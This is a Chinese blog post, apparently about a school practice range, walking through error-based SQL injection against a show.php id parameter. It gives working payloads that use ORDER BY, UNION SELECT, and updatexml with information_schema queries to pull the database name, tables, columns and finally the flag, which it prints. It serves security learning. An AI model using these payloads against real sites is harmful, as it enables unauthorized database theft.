前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >记一次报错注入的学校靶场

记一次报错注入的学校靶场

原创
作者头像
用户8478947
发布2022-09-20 14:17:24
2050
发布2022-09-20 14:17:24
举报
文章被收录于专栏:安全学习

闭合

代码语言:javascript
复制
http://47.103.94.191:8034/show.php?id=33--+
image-20220917202115941
image-20220917202115941

查列数

代码语言:javascript
复制
http://47.103.94.191:8034/show.php
?id=33 order by 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+
image-20220917202153315
image-20220917202153315

查看回显

代码语言:javascript
复制
http://47.103.94.191:8034/show.php
?id=333 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+
image-20220917202232167
image-20220917202232167

查看数据库名字、版本

代码语言:javascript
复制
http://47.103.94.191:8034/show.php
?id=33 and updatexml(1,concat(0x7e,version(),0x7e,database(),0x7e),2)--+
image-20220917204027685
image-20220917204027685

查看表名(这里对输出的个数有限制,因此使用limit进行限制)

代码语言:javascript
复制
http://47.103.94.191:8034/show.php
?id=33 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='cms' limit 8,1),0x7e),2)--+
image-20220917204329270
image-20220917204329270

查看列名

代码语言:javascript
复制
http://47.103.94.191:8034/show.php
?id=33 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='cms' and table_name='this_is_flag' limit 1,1),0x7e),2)--+
image-20220917204539353
image-20220917204539353

查看数据(这里由于flag太长了,无法一次显示,因此使用mid进行截断)

首先查看下flag的长度

代码语言:javascript
复制
http://47.103.94.191:8034/show.php
?id=33 and updatexml(1,concat(0x7e,(select length(flag) from cms.this_is_flag),0x7e),2)--+
image-20220917214944186
image-20220917214944186
代码语言:javascript
复制
http://47.103.94.191:8034/show.php
?id=33 and updatexml(1,concat(0x7e,(select mid(flag,1,10) from cms.this_is_flag),0x7e),2)--+
http://47.103.94.191:8034/show.php
?id=33 and updatexml(1,concat(0x7e,(select mid(flag,11,20) from cms.this_is_flag),0x7e),2)--+
http://47.103.94.191:8034/show.php
?id=33 and updatexml(1,concat(0x7e,(select mid(flag,21,30) from cms.this_is_flag),0x7e),2)--+

flag

代码语言:javascript
复制
flag{16aeb3e6d73689bf456c5c50f2d04b84}

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档